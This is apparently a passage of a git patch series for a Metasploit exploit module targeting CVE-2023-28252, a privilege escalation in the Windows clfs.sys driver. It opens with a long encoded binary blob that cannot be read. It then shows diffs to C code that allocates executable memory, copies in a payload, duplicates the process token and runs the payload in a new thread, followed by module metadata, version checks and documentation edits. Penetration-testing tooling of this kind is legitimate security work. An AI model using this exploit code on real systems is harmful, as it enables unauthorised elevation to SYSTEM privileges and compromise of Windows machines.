zp^0ZP#X_125p%3y`o#ZX5vw4(%n{IH)BX{=l{kwc-sq!$ny2+`YS=>9o`K+#-5syi z-ljS5#MN?6?0Ahfj`%g#XcPL-2nf;$Fy^iV%w3qjW;M@UpQS6J1E#AljIHf@vsllj zDWU>F%|*vS^N@I#89owGCO{gw*cPirSa10Afi`}KA|8OG>4UG;dQ-{fTpLr9oNPs0 z4#D`|aIMy*sfM#h;(LRTp?wW|)BI3)xgyFSL-l`OtBvkX6>LBS(*`7njJ%MNk^MM6 zcD!1V8-OuY&GKp8DciezvSD8FX)~LSHMZs{VmD-JUz~I1>FKkzsiPdYtZ92$H4gaj z-PntFA?)-VnqhEyaJ?ePmgcmI^r94zp5Fn-MD0cT85=ei{khq42le;a^5E_p##Pqj6+`BGy6D^u=?uu1&2lZ>b{ILss_HpPr*V+>JVb3UbeViWqUfBA!Cg z=(ipELE`$sYqSnc(LcRc5e*Pb%!{tm=EWJqLH~T7meH3~+P0JBj-crTx~YqwR7446 zKR!o0SL@r0{0m$CdEvLLQG{!)k;P*N!i^*lBJ7?XM2R=G+ofr=ggC50e8*Qx)`TK#?gzB zrW0xQMw(eoX&PaD5=5u`KB7~eQ*=UjCxqLKwDk|>$pP@&JZ<iOCP zYKQmcYkivr^?RLgAON93{c$I~tzR3iHr}e~SIk#a6YRI)QUjzwe`0~wfo`O)@N12l z^LCsT9m!Tx;@r@Tz{~Zb1zL(u_fC_mVXQ{12qe@LTesby;SNY)Q`F`V+>6xo;0>Bh zah2+G7HH}E^cyHK-1tcdB7z+vi=antz|E#zy3n6lhz=;^az-z4qH^MHqo#WoBFQB( zNzHYKnR85;mMqY$T0v7t5L$tLWFh9B>7D7t(dl{v-7l{hs%qU&Adq$-rqqKUgG3;7 z72(%A^l|yxsDuHS?yUXq%k2O6W%mF3GJEm=+so`N_f@Sd&<q&j@I_;)}b$3Y`s_M30YiCKZ6*0e4Vq_;4bYaHHt}5Q3*{xVz^2Bqv z%!x%N&*4TjZXkv+BVKq;>i|9ZdBX&U4*K-xwG@~ZG?_Z-;peeps94|oyb=Gn3<0F* zox?`_!C^CgC%rIiI3sz=Y;PF1;f>UgnRHGrGn_}384imjd!h+4lICCQURIRvcGFx| ztRFAa<|Bpin~Yc}R*HV#Cfw>a>eE5rwaF;%K^go&IqrU2H)~D=58kX@0eC>dk(DEKKlj0*4Rq00h~ALeN%-P}3(5lAu&qNtA@D^=1bPiHqd#tr zKz9KP2IAnDe1JbgG~9L)gM_#Zk_bHr{1K8ub{9S#3CVF_sO{BghIQ3 z2U)KJe&Ru^;5u>ycnYgXNpArDI#uelk~Cqu)NMe^4D`PngUg0B!OO2e#?XVncOhBO z>wt+~IT&rg>8uBV2Uu?acE3{kxPXs9C~gRN(=420V4xKOcR^@SR|5Oseo6znz;zX_ z)jk4ZL;xOwkW(G-EbCaXD&|4R9t5_(8veLJO?Sd_A@xXz?&rM#p)G~(HlBuL;=*(T z@ITkW2dzbCD>p+ZuR`Eq(gTzkl;0tgftZcVAmoHkXNWZrvWI|sS+4;qbEFSG)FEcE zUI?7A0JoiR8_NrfTZpX&1+@Wx$j3ON?f|Y?1Um{B0tVhLz||$(o{9ix-i`?hx)*o` zQa~fQu=ze0-S1inDS{8-CP)eNN?;wtMU??Iuuf>XL$-)leX1g>6=QH^E~0dKnx%Y~p9 z0u%4Y7lokPfc=pd#dQIv2c_-}KsmV*n-dKd;MEV}+B5pe4}635*i{js&Xhp?$kU#_xNNI$egWkMsK{J*!jClx~B_b0} zg)~6-1Ir-Pq?N#TS&v=XKua9vJ&f59El0Q*;-Xdr9)Jkwk%zJUcYOpq1|;MF+DZ_B zO@(j(gfegeKWDuGxMnq)51U*FIOH+390sWyn6no91)6SwM<9ua8vzb|9EBbaAD|97 z4?PS#YuGXW$KKzh`<&T-MHyyl2BxgTvlt7QYze)E!&p=9HCp-(; z1zoI1*FX+Hr*qe*A%~!E1fCBt5gRbNA?GOo_$7qqfCw-{mo1SAyq0ykF}fN;6An)H zM3n7>gGyzKx`0a{)QW@^tP}nOp;iwxKpF9rBsoAIgtlYCds$xre4h0%@O9SD0hd3G zr7XDjx&n9xLOZQ$C(JLyH zVzUrq%Q3q_cLNI{CC~|8kLd}k^e~7OjMk5~z~=z)&fUlZg)0VLu?Llb-3tuV;9nGlARPCC%naXp z5OW~Zy!c{=SkC$i;J1(n{G&j;-q|P|KDr@}L#TyL0-xK92?!bBD<1-%7!g4f2w(aT z_Vk7K?A3{z;#|J}1TrDzyj&FvD?T|X?_-clD z7h+@pT=SOf0(_=J^nFKm0Y23sk`K!Q;WHfK0wjPwKujV24xui<_c+Au@5zMlNe=NE zglcvOc>fV098_ZC+!r1@XcMA083-=7-S*`1pvJd{pX%z?~3d;yQ}$ zfBVPSoDg9bFuNXmE$D z_$2G=fIA_SK@G6&2^@SPt{pfXLU9SZd?hEbfCI`<2t~*S)Z+6i^1hZr@A)EZ`x?3fKu#Ph)Ps1~mpQhPa?F0saF*n_>;{ z#1Gh{;eYan0GjAWnUEd00zyuNdmu*5fcN}_{zHT?@XH3Y67&dg(isdQ=pNv-v)IQ& zpANj`oYedOg7ZKKRjdH`HwbM_2Y~NEa*X4DC?|*@;3V)ogdz~8{7349PeZJz4K2&L zt`TnEJc4+kt~2RETWgSqQb_IpFy7vc|cs8mJ2db8*mzg znrklbHMSoD?)(G&hnnpI?!e_{mk&B{H`ZAcLa!vm!iq}hgo8DUI0ii%7#D|Iz_YP6 z0Y8bueRd+pK+0OXH;Mb|R-;CKa3hdiS z>ivNW(=6Bv;ot(;n1NLn&<(ZBgzWkKa5uld zMT8MI8~8gUKu133p$r^gG5W>@ya_@X7XV)wXb~H!_P`4evWr1jgaaYn1ALtI5b!vJ z3VISa(Pc5lfgc!#R3n{A;HQup=nmt$6+ucf*<%Z>*s)rFT=oueF?CYTQ+qjaLRa$ zd=z>*@V*IBFTEU<$;E)gfE@$;5>f}BKm^L!Nfwb0at_#Pip7{>t-$-I$x$5yHbAJq z3G=5*oiKie)UCih5Nf$fVCO5O?f|a!N<9SZF-z)Mz=}Nde-Sc{6?8sF7OKo)g}V8+=Tw7jDerC9s!;xu!s~Y1n`l?vYSeP z_uY&|FgPp=0)w}(4s5do>sXLZB2Xti08$F&_^oh)eiAtOHdz}F@Er)1^e}MX?O0}o z%v`{YkO*|b`wOK{5IEuvZY|&=5E~XAl>kq(op8f4IX9F718GH=_285VOu5q{vZ3by z``v|^5qf{%AqY(%gkM2u(>e*vyc>&FC@%1G$U5k!ffdD=#Gn(NfzY@)2fX4Qsh0qq zSQV9cJ&yllmqgK0sa7j2B8td_;(jbXgHCuWgc2$QZiZ0T;8Qr_G~4kx9B~orjeykR9;3wl1VawQCzAeA6rLX7?fKK!6;(hzX?DyioHZ-S6d0q|+o zHv->b9p7XT1J+=(M4B$(ix8TW&I6}DCexV?TmqqVmIR?dHKhxs2EAfdrk3gy6) z2t)v3`g)9Z=$XKg5K3qa@HnIZ_LIQ04KmS8;A}`W>~n#a>9Rm>;4w%g?1aiwvi2Hq zF60>bKZWi8;?oG2k3N3JBCduA=sw_w8!f^I{U~tAvnU+&Y~YgTP&nv>Tb`HObOkUz zjQIoh=G9Xu^d?MPn=Rrn?1UrBvDH8y1AGxuo*TgY4`uWgE;aDT-w+8-5#ZLhQ6N8> z8u$l<`po?v_KNRg(}KMk_*NZ8GxVcC^@!{O4VVKN13TeH2yH=xpFpV98-Pm#AM%a? zIP@bqQDg(3fKXqq1EznBCPPA*z!C^WCj5!@2H-FCI52@vBe2b+1zJAC z)Q#P}2J8Z%$^;xxMll%!yqoo6U?uC-z_XA8Na!4J&@nV4bQj_0r~q`rU%mjx4#xVW zMNEKfgnbDRU%V3QpyRVp;(G{Xj88?;m#+c_fg(mmWR3AnDY1%m!Y?5d;T+Iycegg4BKL$Jx@j)m2`A2Lu(9Z#{`$=}+T;Q{iOgjD# zLn&&I1CTJ|XIaurAU@t@96}LxJ0ok44|(ClL+T#je?h2bHNXoH%Gh}p2ec6T4VWc? z%l|D8<5mFQhLHbZU?Bb%Zc^Y$2%UZt-t!+cHzKb99)eH=!q$yaPXx|lJrB4ALIbk` z*!NdC>-7h&g^)c2{25}L7XYXJW~37k)1e%I&@@R{`nxOyVH84<2|J#b1+@d0UXVII zl_s`8#0|(8cnU%VJq>*J4{Uz0hk+3Y*$LmhXc1URBkF+11U`vK$ME_+}?#F|F6!!qohn0p0;6wNdgfgoJo`4wR3D~xk)NR1W zt%}jor2#0}c!;JBkqJEzia>Y|gc4c-+|7C=(A8GKJsoU*Ku0^75aAg-PS=QZ&H-n) zS44mK%mtQpP(&{Da^U_H#W*lI06g1C!SNqOfRb)kjLj??xEx|+49vyiMQRDc`yf6f z6a?yj{@gsD#qmF2cBRZAEOV5E}a!|9*H`D zuR&-W90K<3su(j`f8cizW6}UF&O*lUUjjS=DS>_zcxO*^AM|424ZYDF(DQ-k`Y56v zI^m=NiYSHd0Ztx-O6Ft!_dxjzgql4BOmm@mQR+-!kHOF}b7cWvA|3X9z#cK9k<>o130fYu!J}?4V2Rq?Kwu`G3kqn{8 zDZqOm#vld0!}i0#1J}qcg0K-nK7@@vMI1$%g#G5g4|@MO0W4Mpp}wCE+;%ohoG+lrWc^gpl1Rr zAg7@dj$Dkf5}?5X<@1~6WD)^RT_Q8i18%%c5rqY4I^h00u=znh0Q_hv1|#%(;J~{T z;fC%4J_DgH+X(DfEOk3@6@>1z5SBuy6~n-Q?H+7Gh)kHh9DM?v@E`YLTtKe@#;s69 z6uK2S973C`5BM6^$nJvOfmVDMlDHV@1Ql@&gfj2}0}o*2!(Io>Sc!1}-38qLpfN!O z!~rO8JcI}cs0Ci}h}?F)zKiZ+M0$AK+CR<@_-h_%no#0r9;~fp2vh>0}0=Y=qE+Kv)l< z{yXrTB8G%zgt@>cA+%pV0L(9wkqJM5q@Zv|fg?A`xVgZb&2lCs{1!roWl`YTa+zib z7=Z)|5Sf&cEs7|HUJ1N?s~n7_z<+H+VzAc(pRAAra~&{YyDWqc_#EqDV8ae%0Dr=l zb|Mq#`+yVoD8}i%2RN$|W91f2FHsai1cvP)vxIQG1BMW|rqR5FBR<0J7;}3LFa)8lA$+f%B48u~>p#IDf=*cUsq`T{3!w?;9PsDQWOtkc z)*qAl^v_|3)FbXW;Ol`eWWXWd+%Kh0IOzn&1)Myf`0lBCLaVi8!<{DmC!@LslUqRoeo^~8|HS{i-6mHm-cn) zuK_-X=dnE$7no>OjV>TOo}daJ>?eVfTO(tn;{g`1PPmVBI{qg`Ya^ZNfcGZjNlipv z0ra-VOJuO^621zdt>6Ig7=*Ttln$y`1fdzQ0JsW5g(jSkg15im;3XIMErbdY1>T;j z8V8?`0Rz9`9|dR~Rq-0$&$bE~*8v+KlmX$xcp$S9c6ul9|*$RmwfZkOw(1FF^ zlQAg)$8}Rh?i6hIz!0PYdoa;m6%GjLgl^Ue{j3u{#yY)z=SK*oNw49#4MI9SPF>z3 zAQQ4>q4W?+l#rhMC7qC-@FkrPPxl%+Aw8f=c0zgxw;XrJ2jgPMC^^l1L|{M*&GEq(}TnCtSojAw2;{ z=@4#UJ0U%jMgD|uunr7}FPIS06Hw$tnATV7ghN>;q{lGGhmf8nB7G&09^N6Ha6jvW z^tcS!2~V?5cp2WIq}?(WHGr}WLR&!v@EZtiLQ&wD{usTOZvDW0tk(elfD~P&Rh1QL z?JXVgSi%9^Vk_Ak+FZIhyt!g?_2!z*wR-XgTIyA<@|<#axu@J)UQk|GUR+*LURhpU zUSA$5kCr!-H?byjy%*3bqt(Dc(}DCA6h$VLaYEO0$UQ7*i$!k-=rov6d zn@To?^k+WOhU)KqhzWu#m7yy~wQJfHZY$mv-d3@#a+`g-W4lwo@ToRYFZom(sGmHl z-89v&3OfoX!nUv@>l&X%jlQcYAhwcl&nxcNgp~++DmoxVuEZ@n71+6coA=^AMoGXp+)R z6`S void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { - if (!pMsfPayload) - return; - PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!pPayload) - return; - CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); - CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) { + exit; + } + + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + + // Get the current process token + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken)) { + VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory + exit; + } + + // Duplicate the token + HANDLE hDupToken; + if (!DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) { + CloseHandle(hToken); + VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory + exit; + } + + // Close the original token handle + CloseHandle(hToken); + + // Create thread to execute payload code + HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL); + if (!hThread) { + // Handle thread creation error + CloseHandle(hDupToken); + VirtualFree(pPayload, 0, MEM_RELEASE); // Clean up allocated memory + exit; + } + + // Wait for the thread to finish if needed + WaitForSingleObject(hThread, INFINITE); + + // Clean up handles and allocated memory + CloseHandle(hThread); + CloseHandle(hDupToken); + VirtualFree(pPayload, 0, MEM_RELEASE); } diff --git a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb index 609f250cbd50..3dd4988e827d 100644 --- a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb +++ b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb @@ -60,13 +60,14 @@ def initialize(info = {}) [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'References' => [ - [ 'CVE', '2023-282252' ], + [ 'CVE', '2023-28252' ], [ 'URL', 'https://github.com/fortra/CVE-2023-28252' ] ], 'DisclosureDate' => '2023-04-11', 'DefaultTarget' => 0, + 'Privileged' => true, 'Notes' => { - 'Stability' => [], + 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] }, @@ -88,7 +89,7 @@ def check return Exploit::CheckCode::Safe end - file_path = get_env('WINDIR') << '\\system32\\drivers\\clfs.sys' + file_path = get_env('WINDIR') + '\\system32\\drivers\\clfs.sys' unless file?(file_path) return Exploit::CheckCode::Safe('The target system does not have clfs.sys in system32\\drivers\\') end From d43bbb6655ac9f48ba08a95dcceebaedc33b6cf8 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 21 Aug 2023 19:57:37 -0400 Subject: [PATCH 6/8] rubocop --- modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb index 3dd4988e827d..c976fc25576d 100644 --- a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb +++ b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb @@ -65,7 +65,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2023-04-11', 'DefaultTarget' => 0, - 'Privileged' => true, + 'Privileged' => true, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], From ef55c4f2c10ed876781f0fc80fe646562bd67018 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Wed, 30 Aug 2023 12:11:37 -0400 Subject: [PATCH 7/8] Update documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md --- .../modules/exploit/windows/local/cve_2023_28252_clfs_driver.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md index 793faae416e1..ad0ce2b2841e 100644 --- a/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md +++ b/documentation/modules/exploit/windows/local/cve_2023_28252_clfs_driver.md @@ -1,7 +1,7 @@ ## Vulnerable Application A privilege escalation vulnerability exists in the clfs.sys driver which comes installed by default on -Windows 10 21H2, Windows 11 21H2 and Windows Server 20348 operating systems. +Windows 10 21H2, Windows 11 21H2 and Windows Server 2022 (Build 20348) operating systems. The clfs.sys driver contains a function CreateLogFile that is used to create open and edit '*.blf' (base log format) files. Inside a .blf file there are multiple blocks of data which From b80f9a84e46966f579dd4140b1078c425b8e0427 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 11 Sep 2023 13:10:57 -0400 Subject: [PATCH 8/8] Updated check method and reliability --- modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb index c976fc25576d..fee0e25bf9c9 100644 --- a/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb +++ b/modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb @@ -68,7 +68,7 @@ def initialize(info = {}) 'Privileged' => true, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed 'SideEffects' => [] }, 'Compat' => { @@ -95,7 +95,7 @@ def check end version = get_version_info - if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_21H2) || version.build_number == Rex::Version.new('10.0.22000.0') || version.build_number == Rex::Version.new('10.0.20348.0') + if version.build_number.between?(Msf::WindowsVersion::Win10_20H2, Msf::WindowsVersion::Win10_21H2) || version.build_number == Msf::WindowsVersion::Win11_21H2 || version.build_number == Msf::WindowsVersion::Server2022 return CheckCode::Appears("The target is running windows version: #{version.build_number} which has a vulnerable version of clfs.sys installed by default") end